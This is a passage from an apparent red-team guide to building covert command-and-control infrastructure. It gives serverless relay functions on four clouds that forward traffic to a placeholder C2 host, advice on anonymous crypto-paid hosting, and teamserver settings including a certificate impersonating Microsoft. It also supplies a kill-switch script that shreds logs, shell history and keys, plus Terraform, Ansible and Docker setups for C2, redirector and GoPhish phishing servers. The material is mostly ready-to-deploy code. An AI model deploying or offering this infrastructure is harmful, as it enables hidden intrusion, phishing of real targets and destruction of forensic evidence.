# Add route in Cloudflare dashboard: cdn-assets.example.com/* -> c2-relay worker
wrangler.toml:
name = "c2-relay"
main = "src/index.js"
compatibility_date = "2026-01-01"
# Optional: bind to custom domain
routes = [
{ pattern = "cdn-assets.example.com/*", zone_name = "example.com" }
]
# Lambda function - relay C2 traffic through CloudFront
import json
import urllib.request
import urllib.error
C2_SERVER = "https://c2.your-server.com"
def lambda_handler(event, context):
# Extract request details from CloudFront/API Gateway event
http_method = event.get("httpMethod", "GET")
path = event.get("path", "/")
body = event.get("body", None)
headers = event.get("headers", {})
target_url = C2_SERVER + path
req = urllib.request.Request(
target_url,
data=body.encode() if body else None,
method=http_method
)
# Forward relevant headers
for key in ["User-Agent", "Cookie", "Content-Type"]:
if key in headers:
req.add_header(key, headers[key])
try:
with urllib.request.urlopen(req, timeout=30) as resp:
response_body = resp.read().decode("utf-8", errors="replace")
return {
"statusCode": resp.status,
"headers": {"Content-Type": resp.headers.get("Content-Type", "text/html")},
"body": response_body
}
except urllib.error.HTTPError as e:
return {"statusCode": e.code, "body": e.read().decode()}
except Exception:
return {"statusCode": 502, "body": "Bad Gateway"}
// Azure Function - C2 relay
// Deploy via Azure Functions Core Tools or VS Code extension
const C2_SERVER = "https://c2.your-server.com";
module.exports = async function (context, req) {
const targetUrl = C2_SERVER + (req.params.restOfPath || "/");
try {
const response = await fetch(targetUrl, {
method: req.method,
headers: {
"User-Agent": req.headers["user-agent"] || "",
"Cookie": req.headers["cookie"] || "",
"Content-Type": req.headers["content-type"] || "text/html",
},
body: req.method !== "GET" ? req.rawBody : undefined,
});
const body = await response.text();
context.res = {
status: response.status,
body: body,
headers: { "Content-Type": response.headers.get("content-type") || "text/html" },
};
} catch (err) {
context.res = { status: 502, body: "Bad Gateway" };
}
};
# GCP Cloud Function - C2 relay
# Deploy: gcloud functions deploy c2relay --runtime python312 \
# --trigger-http --allow-unauthenticated --entry-point relay
import urllib.request
import urllib.error
C2_SERVER = "https://c2.your-server.com"
def relay(request):
path = request.path or "/"
target_url = C2_SERVER + path
if request.query_string:
target_url += "?" + request.query_string.decode()
req = urllib.request.Request(
target_url,
data=request.get_data() or None,
method=request.method
)
for key in ["User-Agent", "Cookie", "Content-Type"]:
val = request.headers.get(key)
if val:
req.add_header(key, val)
try:
with urllib.request.urlopen(req, timeout=30) as resp:
return (resp.read(), resp.status,
{"Content-Type": resp.headers.get("Content-Type", "text/html")})
except urllib.error.HTTPError as e:
return (e.read(), e.code, {"Content-Type": "text/html"})
except Exception:
return ("Bad Gateway", 502, {"Content-Type": "text/plain"})
Choose providers that respect privacy and accept anonymous payment. Separate providers for each infrastructure component.
| Provider | Payment | Notes |
|---|---|---|
| Njalla | Crypto, cash | Privacy-first, domain privacy included |
| BuyVM | Crypto | Offshore (Luxembourg), DDoS protection |
| 1984 Hosting | Crypto | Iceland, strong privacy laws |
| Flokinet | Crypto, cash | Romania/Iceland/Finland |
| DigitalOcean | Card/PayPal | Good API, easy Terraform, less private |
| Vultr | Crypto | Global locations, decent privacy |
| Hetzner | Card | Germany, cheap but EU jurisdiction |
# /etc/ssh/sshd_config - hardened config for C2 server
Port 2222 # Non-standard port
PermitRootLogin no
PasswordAuthentication no # Key-only
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
MaxAuthTries 3
LoginGraceTime 30
AllowUsers operator # Only your user
ClientAliveInterval 300
ClientAliveCountMax 2
X11Forwarding no
AllowTcpForwarding yes # Needed for SSH tunnels
PermitTunnel yes
# Restrict to specific IPs (redirector + your VPN)
# Add to /etc/ssh/sshd_config or use firewall rules
Match Address 10.0.0.0/8,192.168.0.0/16
AllowUsers operator
# Apply and restart
sudo systemctl restart sshd
# Install fail2ban
sudo apt install fail2ban -y
cat > /etc/fail2ban/jail.local << 'JAILEOF'
[sshd]
enabled = true
port = 2222
maxretry = 3
bantime = 3600
findtime = 600
JAILEOF
sudo systemctl enable fail2ban --now
Lock down the C2 server so only redirectors can reach it. No direct access from the internet.
#!/bin/bash
# C2 server firewall setup
# Only redirector IPs and management VPN can connect
REDIRECTOR1="203.0.113.10"
REDIRECTOR2="203.0.113.20"
MGMT_VPN="10.8.0.0/24"
# Flush existing rules
iptables -F
iptables -X
# Default deny
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# Allow loopback
iptables -A INPUT -i lo -j ACCEPT
# Allow established connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allow SSH only from management VPN
iptables -A INPUT -p tcp --dport 2222 -s $MGMT_VPN -j ACCEPT
# Allow C2 listeners only from redirectors
iptables -A INPUT -p tcp --dport 443 -s $REDIRECTOR1 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -s $REDIRECTOR2 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -s $REDIRECTOR1 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -s $REDIRECTOR2 -j ACCEPT
# Allow DNS from redirectors (if DNS C2)
iptables -A INPUT -p udp --dport 53 -s $REDIRECTOR1 -j ACCEPT
iptables -A INPUT -p udp --dport 53 -s $REDIRECTOR2 -j ACCEPT
# Drop everything else (already default, but explicit)
iptables -A INPUT -j DROP
# Save
iptables-save > /etc/iptables/rules.v4
Per-engagement isolation - each engagement gets its own VPS instances, domains, and certificates. Never reuse infrastructure between clients.
# Log management - encrypt and rotate
# Compress and encrypt logs daily
cat > /etc/cron.daily/encrypt-logs << 'CRONEOF'
#!/bin/bash
DATE=$(date +%Y%m%d)
tar czf /tmp/logs-${DATE}.tar.gz /var/log/c2/ 2>/dev/null
gpg --symmetric --cipher-algo AES256 --batch --passphrase-file /root/.logkey \
/tmp/logs-${DATE}.tar.gz
mv /tmp/logs-${DATE}.tar.gz.gpg /root/encrypted-logs/
shred -vfz -n 3 /tmp/logs-${DATE}.tar.gz
# Rotate original logs
find /var/log/c2/ -type f -mtime +1 -exec shred -vfz -n 3 {} \;
CRONEOF
chmod +x /etc/cron.daily/encrypt-logs
# Kill switch - wipe and shutdown if compromised
cat > /root/killswitch.sh << 'KILLEOF'
#!/bin/bash
echo "[!] Kill switch activated - wiping and shutting down"
# Stop C2 services
systemctl stop cobaltstrike sliver 2>/dev/null
pkill -9 teamserver 2>/dev/null
# Wipe C2 data
find /opt/c2/ -type f -exec shred -vfz -n 3 {} \;
# Wipe logs
find /var/log/ -type f -exec shred -vfz -n 1 {} \;
# Wipe bash history
shred -vfz -n 3 /root/.bash_history /home/*/.bash_history 2>/dev/null
# Remove SSH keys
shred -vfz -n 3 /root/.ssh/* /home/*/.ssh/* 2>/dev/null
# Overwrite free space and shutdown (install: apt install secure-delete)
sfill -fllz / 2>/dev/null &
sleep 5
shutdown -h now
KILLEOF
chmod 700 /root/killswitch.sh
Disable unnecessary services and unattended-upgrades:
Unattended-upgrades can reboot the server or restart services mid-operation. Disable it. Manage updates manually during maintenance windows.
# Minimal attack surface on C2 server
systemctl disable --now apache2 nginx cups avahi-daemon bluetooth 2>/dev/null
systemctl disable --now snapd 2>/dev/null
# Disable unattended-upgrades (prevents unexpected reboots and service restarts)
systemctl disable --now unattended-upgrades 2>/dev/null
apt purge -y unattended-upgrades 2>/dev/null
# Also disable apt daily timers
systemctl disable --now apt-daily.timer apt-daily-upgrade.timer 2>/dev/null
# Remove unnecessary packages
apt purge -y telnet rsh-client rsh-server 2>/dev/null
# Disable IPv6 if not needed (reduces exposure)
echo "net.ipv6.conf.all.disable_ipv6 = 1" >> /etc/sysctl.conf
echo "net.ipv6.conf.default.disable_ipv6 = 1" >> /etc/sysctl.conf
sysctl -p
LUKS full-disk encryption is mandatory for C2 servers. If the VPS provider images the disk, or the server is seized, all C2 data is encrypted at rest. Most cloud providers do not encrypt VPS disks by default.
# === Option 1: Encrypt a data partition for C2 artifacts ===
# Create a LUKS-encrypted partition for C2 data (on a secondary disk/partition)
sudo apt install cryptsetup -y
# Create encrypted volume (will prompt for passphrase)
sudo cryptsetup luksFormat /dev/sdb1
sudo cryptsetup luksOpen /dev/sdb1 c2data
sudo mkfs.ext4 /dev/mapper/c2data
sudo mkdir -p /opt/c2
sudo mount /dev/mapper/c2data /opt/c2
# Auto-mount with keyfile (for unattended boot - store keyfile securely)
sudo dd if=/dev/urandom of=/root/.luks-keyfile bs=4096 count=1
sudo chmod 400 /root/.luks-keyfile
sudo cryptsetup luksAddKey /dev/sdb1 /root/.luks-keyfile
# Add to /etc/crypttab:
# c2data /dev/sdb1 /root/.luks-keyfile luks
# Add to /etc/fstab:
# /dev/mapper/c2data /opt/c2 ext4 defaults 0 2
# === Option 2: Encrypted RAM disk (data lost on reboot - maximum OPSEC) ===
sudo mkdir -p /opt/c2
sudo mount -t tmpfs -o size=2G,mode=0700 tmpfs /opt/c2
# All C2 data lives in RAM only. Power loss = data gone.
# Combine with LUKS for persistent storage of configs.
# === Lock volume when not in use ===
sudo umount /opt/c2
sudo cryptsetup luksClose c2data
| What to Log | What NOT to Log | Why |
|---|---|---|
| Beacon check-in times (for reporting) | Target user credentials in plaintext | Credential exposure if server is seized |
| Operator commands executed | Screenshots/keylog data on disk longer than needed | Minimize stored sensitive data |
| Redirector access logs (for burn detection) | Full packet captures of C2 traffic | Massive disk usage, forensic goldmine for blue team |
| Infrastructure changes (DNS, IP rotations) | Client/target PII beyond scope | Scope compliance and liability |
| Errors and failed connections | Operator personal identifiers | OPSEC - nothing linking back to you |
# Log rotation config - /etc/logrotate.d/c2
# Rotate C2 logs daily, keep 3 days max, compress and encrypt
cat > /etc/logrotate.d/c2 << 'ROTEOF'
/var/log/c2/*.log {
daily
rotate 3
compress
delaycompress
missingok
notifempty
create 0600 root root
sharedscripts
postrotate
# Encrypt rotated logs
for f in /var/log/c2/*.gz; do
gpg --symmetric --cipher-algo AES256 --batch \
--passphrase-file /root/.logkey "$f" && shred -fz -n 1 "$f"
done
endscript
}
ROTEOF
Monitor redirector health so you know immediately when one goes down (burned, provider takedown, or misconfiguration).
#!/bin/bash
# /opt/c2/monitor.sh - Redirector health check
# Run via cron every 5 minutes: */5 * * * * /opt/c2/monitor.sh
REDIRECTORS=(
"https://cdn-assets.example.com/api/v1/status"
"https://static.example.com/api/v1/status"
)
# Alert via webhook (Slack, Discord, Matrix, or Telegram)
WEBHOOK_URL="https://hooks.slack.com/services/YOUR/WEBHOOK/URL"
# Alternative: Telegram
# TELEGRAM_BOT="bot123456:ABC-DEF"
# TELEGRAM_CHAT="-1001234567890"
for URL in "${REDIRECTORS[@]}"; do
HTTP_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 "$URL")
if [ "$HTTP_CODE" != "200" ] && [ "$HTTP_CODE" != "302" ]; then
MSG="[ALERT] Redirector DOWN: $URL (HTTP $HTTP_CODE) at $(date -u)"
# Slack/Discord
curl -sk -X POST "$WEBHOOK_URL" \
-H "Content-Type: application/json" \
-d "{\"text\": \"$MSG\"}"
# Telegram alternative:
# curl -sk "https://api.telegram.org/$TELEGRAM_BOT/sendMessage" \
# -d "chat_id=$TELEGRAM_CHAT&text=$MSG"
fi
done
# === Change default SSL certificate ===
# Default Cobalt Strike cert is fingerprinted by every vendor. Replace it.
keytool -keystore cobaltstrike.store -storepass password123 -delete -alias cobaltstrike 2>/dev/null
keytool -keystore cobaltstrike.store -storepass password123 -genkey -keyalg RSA \
-alias cobaltstrike -dname "CN=Microsoft Update Services, OU=IT, O=Microsoft Corporation, L=Redmond, ST=WA, C=US" \
-keypass password123 -validity 365
# Or import a real Let's Encrypt cert:
openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out cert.p12 -name cobaltstrike -passout pass:password123
keytool -importkeystore -deststorepass password123 -destkeypass password123 \
-destkeystore cobaltstrike.store -srckeystore cert.p12 -srcstoretype PKCS12 \
-srcstorepass password123 -alias cobaltstrike
# === Change default ports ===
# In teamserver startup script or c2.profile:
# set sample_name "legit";
# https-certificate {
# set keystore "cobaltstrike.store";
# set password "password123";
# }
# === Set killdate (auto-disable beacons after engagement) ===
# In malleable profile:
# set killdate "2026-04-30";
# After this date, all beacons self-terminate.
# === Restrict teamserver access ===
# Only allow operator connections from VPN
# In teamserver startup:
./teamserver C2-IP password123 malleable.profile 203.0.113.0/24
# The last argument restricts operator connections to that CIDR
# === Generate operator configs (multi-player mode) ===
sliver-server operator --name operator1 --lhost C2-IP --save operator1.cfg
# Distribute .cfg files to operators, they connect via mTLS
# === Change default ports ===
# Edit ~/.sliver/configs/server.json
# "daemon": { "host": "127.0.0.1", "port": 31337 }
# Bind to localhost, access via SSH tunnel only
# === Enable job logging ===
# In Sliver console:
# jobs
# Audit active listeners and kill unused ones
# === Use implant-specific encryption keys ===
# Sliver does this by default (per-implant key exchange)
# Verify: implants -> select implant -> info -> check encryption
# === Restrict listener interfaces ===
# Bind HTTPS listener only to VPC interface:
https --lhost 10.10.10.5 --lport 443 --domain cdn-assets.example.com
# === Havoc teamserver config (havoc.yaotl) ===
# Change default port and bind to localhost
# Teamserver {
# Host = "127.0.0.1"
# Port = 40056
# }
# Access via SSH tunnel: ssh -L 40056:127.0.0.1:40056 operator@C2-IP
# === Change default user/password ===
# Operators {
# user "redteam" {
# Password = "USE-A-STRONG-RANDOM-PASSWORD"
# }
# }
# === Use custom C2 profiles ===
# Modify the HTTP listener headers, URIs, and user agents
# to match legitimate traffic patterns for the target environment
# === Mythic runs in Docker - harden the Docker host ===
# Bind Mythic UI to localhost only (access via SSH tunnel)
# In .env file:
# MYTHIC_SERVER_HOST=127.0.0.1
# MYTHIC_SERVER_PORT=7443
# HASURA_HOST=127.0.0.1
# === Change default credentials ===
# In .env:
# MYTHIC_ADMIN_USER=youroperator
# MYTHIC_ADMIN_PASSWORD=strong-random-password
# === Restrict Docker networking ===
# Mythic containers should not have direct internet access
# Use Docker network isolation:
docker network create --internal mythic-internal
# Expose only the C2 listener port to the redirector
Even on a single VPS, use network namespaces or Docker networks to isolate C2 components. If one service is compromised, it should not have direct access to others.
# === Docker-based segmentation ===
# Create isolated networks for different functions
docker network create --internal mgmt-net # Operator access, no internet
docker network create c2-net # C2 listeners (internet-facing via redirector)
docker network create --internal data-net # Data storage, no internet
# C2 container connects to c2-net (receives from redirector) and data-net (stores loot)
# Operator UI connects to mgmt-net only (accessed via SSH tunnel)
# Data container connects to data-net only
# === iptables-based segmentation (without Docker) ===
# Restrict inter-process communication using owner matching
# Only the C2 process (running as user 'c2svc') can bind to port 443
iptables -A INPUT -p tcp --dport 443 -m owner --uid-owner c2svc -j ACCEPT
# Only the C2 process can reach the data directory
# Use file permissions: chown c2svc:c2svc /opt/c2/data && chmod 700 /opt/c2/data
Complete Terraform configuration for deploying a redirector and C2 server on DigitalOcean with automated DNS and firewall rules.
# main.tf - Red Team Infrastructure
# Usage: terraform init && terraform plan && terraform apply
terraform {
required_providers {
digitalocean = {
source = "digitalocean/digitalocean"
version = "~> 2.0"
}
cloudflare = {
source = "cloudflare/cloudflare"
version = "~> 4.0"
}
}
}
variable "do_token" {
description = "DigitalOcean API token"
type = string
sensitive = true
}
variable "cf_api_token" {
description = "Cloudflare API token"
type = string
sensitive = true
}
variable "cf_zone_id" {
description = "Cloudflare zone ID for the domain"
type = string
}
variable "ssh_key_fingerprint" {
description = "SSH key fingerprint registered in DigitalOcean"
type = string
}
variable "domain" {
description = "Base domain for the operation"
type = string
default = "example.com"
}
provider "digitalocean" {
token = var.do_token
}
provider "cloudflare" {
api_token = var.cf_api_token
}
# --- VPC for internal communication ---
resource "digitalocean_vpc" "redteam_vpc" {
name = "redteam-vpc"
region = "ams3"
ip_range = "10.10.10.0/24"
}
# --- C2 Server ---
resource "digitalocean_droplet" "c2_server" {
name = "c2-server"
image = "ubuntu-24-04-x64"
size = "s-2vcpu-4gb"
region = "ams3"
vpc_uuid = digitalocean_vpc.redteam_vpc.id
ssh_keys = [var.ssh_key_fingerprint]
tags = ["c2", "redteam"]
connection {
type = "ssh"
user = "root"
private_key = file("~/.ssh/redteam_ed25519")
host = self.ipv4_address
}
provisioner "remote-exec" {
inline = [
"apt update && apt upgrade -y",
"apt install -y fail2ban ufw",
"ufw default deny incoming",
"ufw default allow outgoing",
"ufw allow from 10.10.10.0/24 to any port 443",
"ufw allow from 10.10.10.0/24 to any port 2222",
"ufw --force enable",
"sed -i 's/#Port 22/Port 2222/' /etc/ssh/sshd_config",
"sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config",
"systemctl restart sshd",
]
}
}
# --- Redirector ---
resource "digitalocean_droplet" "redirector" {
name = "https-redirector"
image = "ubuntu-24-04-x64"
size = "s-1vcpu-1gb"
region = "ams3"
vpc_uuid = digitalocean_vpc.redteam_vpc.id
ssh_keys = [var.ssh_key_fingerprint]
tags = ["redirector", "redteam"]
connection {
type = "ssh"
user = "root"
private_key = file("~/.ssh/redteam_ed25519")
host = self.ipv4_address
}
provisioner "remote-exec" {
inline = [
"apt update && apt upgrade -y",
"apt install -y apache2 certbot python3-certbot-apache",
"a2enmod rewrite proxy proxy_http ssl headers",
"systemctl restart apache2",
"certbot certonly --standalone -d cdn-assets.${var.domain} --non-interactive --agree-tos -m ops@${var.domain}",
]
}
}
# --- Firewall: C2 server only accepts from redirector + VPC ---
resource "digitalocean_firewall" "c2_firewall" {
name = "c2-server-fw"
droplet_ids = [digitalocean_droplet.c2_server.id]
inbound_rule {
protocol = "tcp"
port_range = "2222"
source_addresses = ["10.10.10.0/24"]
}
inbound_rule {
protocol = "tcp"
port_range = "443"
source_addresses = [digitalocean_droplet.redirector.ipv4_address]
}
outbound_rule {
protocol = "tcp"
port_range = "1-65535"
destination_addresses = ["0.0.0.0/0"]
}
outbound_rule {
protocol = "udp"
port_range = "1-65535"
destination_addresses = ["0.0.0.0/0"]
}
}
# --- Phishing Server (GoPhish + mail) ---
resource "digitalocean_droplet" "phishing" {
name = "phishing-server"
image = "ubuntu-24-04-x64"
size = "s-1vcpu-2gb"
region = "fra1" # Different region from C2
vpc_uuid = digitalocean_vpc.redteam_vpc.id
ssh_keys = [var.ssh_key_fingerprint]
tags = ["phishing", "redteam"]
connection {
type = "ssh"
user = "root"
private_key = file("~/.ssh/redteam_ed25519")
host = self.ipv4_address
}
provisioner "remote-exec" {
inline = [
"apt update && apt upgrade -y",
"apt install -y certbot postfix opendkim opendkim-tools",
"mkdir -p /opt/gophish",
"wget -qO /tmp/gophish.zip https://github.com/gophish/gophish/releases/latest/download/gophish-v0.12.1-linux-64bit.zip",
"unzip /tmp/gophish.zip -d /opt/gophish",
"chmod +x /opt/gophish/gophish",
"certbot certonly --standalone -d mail.${var.domain} --non-interactive --agree-tos -m ops@${var.domain}",
]
}
}
# --- Firewall: Phishing server (HTTP/HTTPS/SMTP from anywhere, SSH from VPN) ---
resource "digitalocean_firewall" "phishing_firewall" {
name = "phishing-server-fw"
droplet_ids = [digitalocean_droplet.phishing.id]
inbound_rule {
protocol = "tcp"
port_range = "2222"
source_addresses = ["10.10.10.0/24"]
}
inbound_rule {
protocol = "tcp"
port_range = "80"
source_addresses = ["0.0.0.0/0"]
}
inbound_rule {
protocol = "tcp"
port_range = "443"
source_addresses = ["0.0.0.0/0"]
}
inbound_rule {
protocol = "tcp"
port_range = "25"
source_addresses = ["0.0.0.0/0"]
}
outbound_rule {
protocol = "tcp"
port_range = "1-65535"
destination_addresses = ["0.0.0.0/0"]
}
outbound_rule {
protocol = "udp"
port_range = "1-65535"
destination_addresses = ["0.0.0.0/0"]
}
}
# --- DNS Records via Cloudflare ---
resource "cloudflare_record" "redirector_dns" {
zone_id = var.cf_zone_id
name = "cdn-assets"
content = digitalocean_droplet.redirector.ipv4_address
type = "A"
proxied = true
ttl = 1
}
resource "cloudflare_record" "redirector_cname" {
zone_id = var.cf_zone_id
name = "static"
content = "cdn-assets.${var.domain}"
type = "CNAME"
proxied = true
ttl = 1
}
resource "cloudflare_record" "phishing_mail" {
zone_id = var.cf_zone_id
name = "mail"
content = digitalocean_droplet.phishing.ipv4_address
type = "A"
proxied = false # Mail cannot go through Cloudflare proxy
ttl = 300
}
resource "cloudflare_record" "phishing_mx" {
zone_id = var.cf_zone_id
name = var.domain
content = "mail.${var.domain}"
type = "MX"
priority = 10
ttl = 300
}
resource "cloudflare_record" "phishing_spf" {
zone_id = var.cf_zone_id
name = var.domain
content = "v=spf1 ip4:${digitalocean_droplet.phishing.ipv4_address} -all"
type = "TXT"
ttl = 300
}
resource "cloudflare_record" "phishing_dmarc" {
zone_id = var.cf_zone_id
name = "_dmarc"
content = "v=DMARC1; p=none; rua=mailto:dmarc@${var.domain}; fo=1"
type = "TXT"
ttl = 300
}
# --- Outputs ---
output "c2_server_ip" {
value = digitalocean_droplet.c2_server.ipv4_address
sensitive = true
}
output "c2_server_private_ip" {
value = digitalocean_droplet.c2_server.ipv4_address_private
}
output "redirector_ip" {
value = digitalocean_droplet.redirector.ipv4_address
}
output "redirector_dns" {
value = "cdn-assets.${var.domain}"
}
output "phishing_ip" {
value = digitalocean_droplet.phishing.ipv4_address
}
output "phishing_mail_domain" {
value = "mail.${var.domain}"
}
terraform.tfvars (do NOT commit this file):
do_token = "dop_v1_xxxxxxxxxxxxxxxxxxxx"
cf_api_token = "xxxxxxxxxxxxxxxxxxxx"
cf_zone_id = "xxxxxxxxxxxxxxxxxxxx"
ssh_key_fingerprint = "aa:bb:cc:dd:ee:ff:00:11:22:33:44:55:66:77:88:99"
domain = "example.com"
is a modular Go CLI and library built specifically for red team infrastructure on DigitalOcean. Unlike Terraform (stateful, declarative), do-manager is imperative and stateless - no .tfstate files to protect.
# Install
go install github.com/franckferman/do-manager@latest
export DIGITALOCEAN_TOKEN="your_token"
# Deploy C2 server with c2 firewall preset
do-manager droplet create --name c2-server --region ams3 --size s-2vcpu-4gb \
--image ubuntu-24-04-x64 --ssh-keys "my-key" --vpc "redteam-vpc"
do-manager firewall create --name c2-fw --preset c2
# Deploy redirector with redirector firewall preset
do-manager droplet create --name redir-01 --region lon1 --size s-1vcpu-1gb \
--image ubuntu-24-04-x64 --ssh-keys "my-key"
do-manager firewall create --name redir-fw --preset redirector
# DNS setup
do-manager dns create-record --domain example.com --type A \
--name c2 --data "REDIR_IP" --ttl 300
# IP rotation (burned redirector -> new IP in seconds)
do-manager reserved-ip create --region lon1
do-manager reserved-ip assign --ip "NEW_IP" --droplet redir-01
# Snapshot for quick rebuild
do-manager snapshot create --droplet c2-server --name "c2-clean-$(date +%F)"
# Teardown (clean, no state files left behind)
do-manager droplet delete --name c2-server --force
do-manager droplet delete --name redir-01 --force
do-manager dns delete-record --domain example.com --name c2
do-manager firewall delete --name c2-fw
do-manager firewall delete --name redir-fw
Built-in firewall presets:
| Preset | Inbound rules | Use case |
|---|---|---|
c2 |
SSH from VPN only + HTTPS from redirectors only | C2 teamserver |
redirector |
HTTP/HTTPS from anywhere + SSH from VPN | Redirector / CDN relay |
phishing |
HTTP/HTTPS/SMTP from anywhere + SSH from VPN | GoPhish / Evilginx |
bastion |
SSH from VPN only | Jump host / management |
lockdown |
Nothing inbound | Isolated processing node |
Why do-manager over Terraform for red team:
.tfstate contains all IPs, hostnames, keys in plaintext. Leak = full infra exposed.Complete Ansible role that covers C2 installation, SSH hardening, firewall setup, log management, and monitoring.
# playbook.yml - Full C2 server provisioning and hardening
---
- name: Provision and Harden C2 Server
hosts: c2
become: yes
vars:
c2_tool: sliver # sliver | cobaltstrike
c2_install_dir: /opt/c2
ssh_port: 2222
mgmt_vpn_cidr: "10.8.0.0/24"
redirector_ips:
- "203.0.113.10"
- "203.0.113.20"
operator_user: operator
monitor_webhook: "https://hooks.slack.com/services/YOUR/WEBHOOK"
tasks:
- name: Update system
apt:
update_cache: yes
upgrade: dist
- name: Install dependencies
apt:
name:
- build-essential
- git
- curl
- wget
- mingw-w64
- net-tools
- tmux
- fail2ban
- cryptsetup
- gpg
- iptables-persistent
- logrotate
state: present
- name: Disable unattended-upgrades
apt:
name: unattended-upgrades
state: absent
- name: Disable apt daily timers
systemd:
name: "{{ item }}"
state: stopped
enabled: no
loop:
- apt-daily.timer
- apt-daily-upgrade.timer
ignore_errors: yes
- name: Disable unnecessary services
systemd:
name: "{{ item }}"
state: stopped
enabled: no
loop:
- cups
- avahi-daemon
- bluetooth
- snapd
ignore_errors: yes
- name: Create operator user
user:
name: "{{ operator_user }}"
shell: /bin/bash
groups: sudo
create_home: yes
- name: Create C2 directory
file:
path: "{{ c2_install_dir }}"
state: directory
mode: "0700"
owner: "{{ operator_user }}"
- name: Create log directories
file:
path: "{{ item }}"
state: directory
mode: "0700"
owner: root
loop:
- /var/log/c2
- /root/encrypted-logs
- name: Install Sliver C2
when: c2_tool == "sliver"
shell: |
curl https://sliver.sh/install | sudo bash
args:
creates: /root/sliver-server
- name: Harden SSH
lineinfile:
path: /etc/ssh/sshd_config
regexp: "{{ item.regexp }}"
line: "{{ item.line }}"
loop:
- { regexp: '^#?Port ', line: 'Port {{ ssh_port }}' }
- { regexp: '^#?PasswordAuthentication', line: 'PasswordAuthentication no' }
- { regexp: '^#?PermitRootLogin', line: 'PermitRootLogin no' }
- { regexp: '^#?PubkeyAuthentication', line: 'PubkeyAuthentication yes' }
- { regexp: '^#?MaxAuthTries', line: 'MaxAuthTries 3' }
- { regexp: '^#?X11Forwarding', line: 'X11Forwarding no' }
- { regexp: '^#?AllowUsers', line: 'AllowUsers {{ operator_user }}' }
- { regexp: '^#?ClientAliveInterval', line: 'ClientAliveInterval 300' }
- { regexp: '^#?ClientAliveCountMax', line: 'ClientAliveCountMax 2' }
notify: Restart SSH
- name: Configure fail2ban
copy:
dest: /etc/fail2ban/jail.local
content: |
[sshd]
enabled = true
port = {{ ssh_port }}
maxretry = 3
bantime = 3600
findtime = 600
- name: Start fail2ban
systemd:
name: fail2ban
state: started
enabled: yes
- name: Configure iptables firewall
copy:
dest: /opt/c2/firewall.sh
mode: "0700"
content: |
#!/bin/bash
iptables -F && iptables -X
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport {{ ssh_port }} -s {{ mgmt_vpn_cidr }} -j ACCEPT
{% for ip in redirector_ips %}
iptables -A INPUT -p tcp --dport 443 -s {{ ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -s {{ ip }} -j ACCEPT
iptables -A INPUT -p udp --dport 53 -s {{ ip }} -j ACCEPT
{% endfor %}
iptables -A INPUT -j DROP
iptables-save > /etc/iptables/rules.v4
- name: Run firewall script
command: /opt/c2/firewall.sh
- name: Deploy log encryption cron
copy:
dest: /etc/cron.daily/encrypt-logs
mode: "0700"
content: |
#!/bin/bash
DATE=$(date +%Y%m%d)
tar czf /tmp/logs-${DATE}.tar.gz /var/log/c2/ 2>/dev/null
gpg --symmetric --cipher-algo AES256 --batch --passphrase-file /root/.logkey \
/tmp/logs-${DATE}.tar.gz
mv /tmp/logs-${DATE}.tar.gz.gpg /root/encrypted-logs/
shred -vfz -n 3 /tmp/logs-${DATE}.tar.gz
find /var/log/c2/ -type f -mtime +1 -exec shred -vfz -n 3 {} \;
- name: Deploy redirector monitor
copy:
dest: /opt/c2/monitor.sh
mode: "0700"
content: |
#!/bin/bash
REDIRECTORS=({% for ip in redirector_ips %}"https://{{ ip }}" {% endfor %})
for URL in "${REDIRECTORS[@]}"; do
HTTP_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 "$URL")
if [ "$HTTP_CODE" != "200" ] && [ "$HTTP_CODE" != "302" ]; then
curl -sk -X POST "{{ monitor_webhook }}" \
-H "Content-Type: application/json" \
-d "{\"text\": \"[ALERT] Redirector DOWN: $URL (HTTP $HTTP_CODE) at $(date -u)\"}"
fi
done
- name: Schedule redirector monitoring
cron:
name: "Monitor redirectors"
minute: "*/5"
job: "/opt/c2/monitor.sh"
- name: Disable IPv6
sysctl:
name: "{{ item }}"
value: "1"
state: present
reload: yes
loop:
- net.ipv6.conf.all.disable_ipv6
- net.ipv6.conf.default.disable_ipv6
handlers:
- name: Restart SSH
systemd:
name: sshd
state: restarted
# Run the playbook
ansible-playbook -i inventory.ini playbook.yml
# inventory.ini
# [c2]
# c2-server ansible_host=C2-IP ansible_port=2222 ansible_user=operator
#
# [redirectors]
# redir-01 ansible_host=203.0.113.10 ansible_port=22 ansible_user=root
# redir-02 ansible_host=203.0.113.20 ansible_port=22 ansible_user=root
#
# [phishing]
# phish-01 ansible_host=PHISH-IP ansible_port=22 ansible_user=root
# One-liner: deploy Sliver C2 on fresh Ubuntu VPS
curl -sL https://sliver.sh/install | sudo bash && \
sliver-server daemon &
Complete local lab with C2 server, redirector, and phishing server. Useful for testing infrastructure before deploying to cloud.
# docker-compose.yml - Local red team lab
# Usage: docker compose up -d
# Access Sliver: docker exec -it sliver-c2 sliver
# Access GoPhish: https://localhost:3333 (default creds: admin / gophish_password in logs)
services:
sliver:
image: bishopfox/sliver
container_name: sliver-c2
ports:
- "127.0.0.1:31337:31337" # Operator port (local only)
volumes:
- sliver-data:/root/.sliver
networks:
- c2-internal
restart: unless-stopped
redirector:
image: nginx:alpine
container_name: redirector
ports:
- "443:443"
- "80:80"
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
- ./certs:/etc/nginx/certs:ro
depends_on:
- sliver
networks:
- c2-internal
- external
restart: unless-stopped
gophish:
image: gophish/gophish
container_name: gophish
ports:
- "127.0.0.1:3333:3333" # Admin panel (local only)
- "8080:8080" # Phishing landing page
volumes:
- gophish-data:/opt/gophish/data
networks:
- external
restart: unless-stopped
mail:
image: mailhog/mailhog
container_name: mailserver
ports:
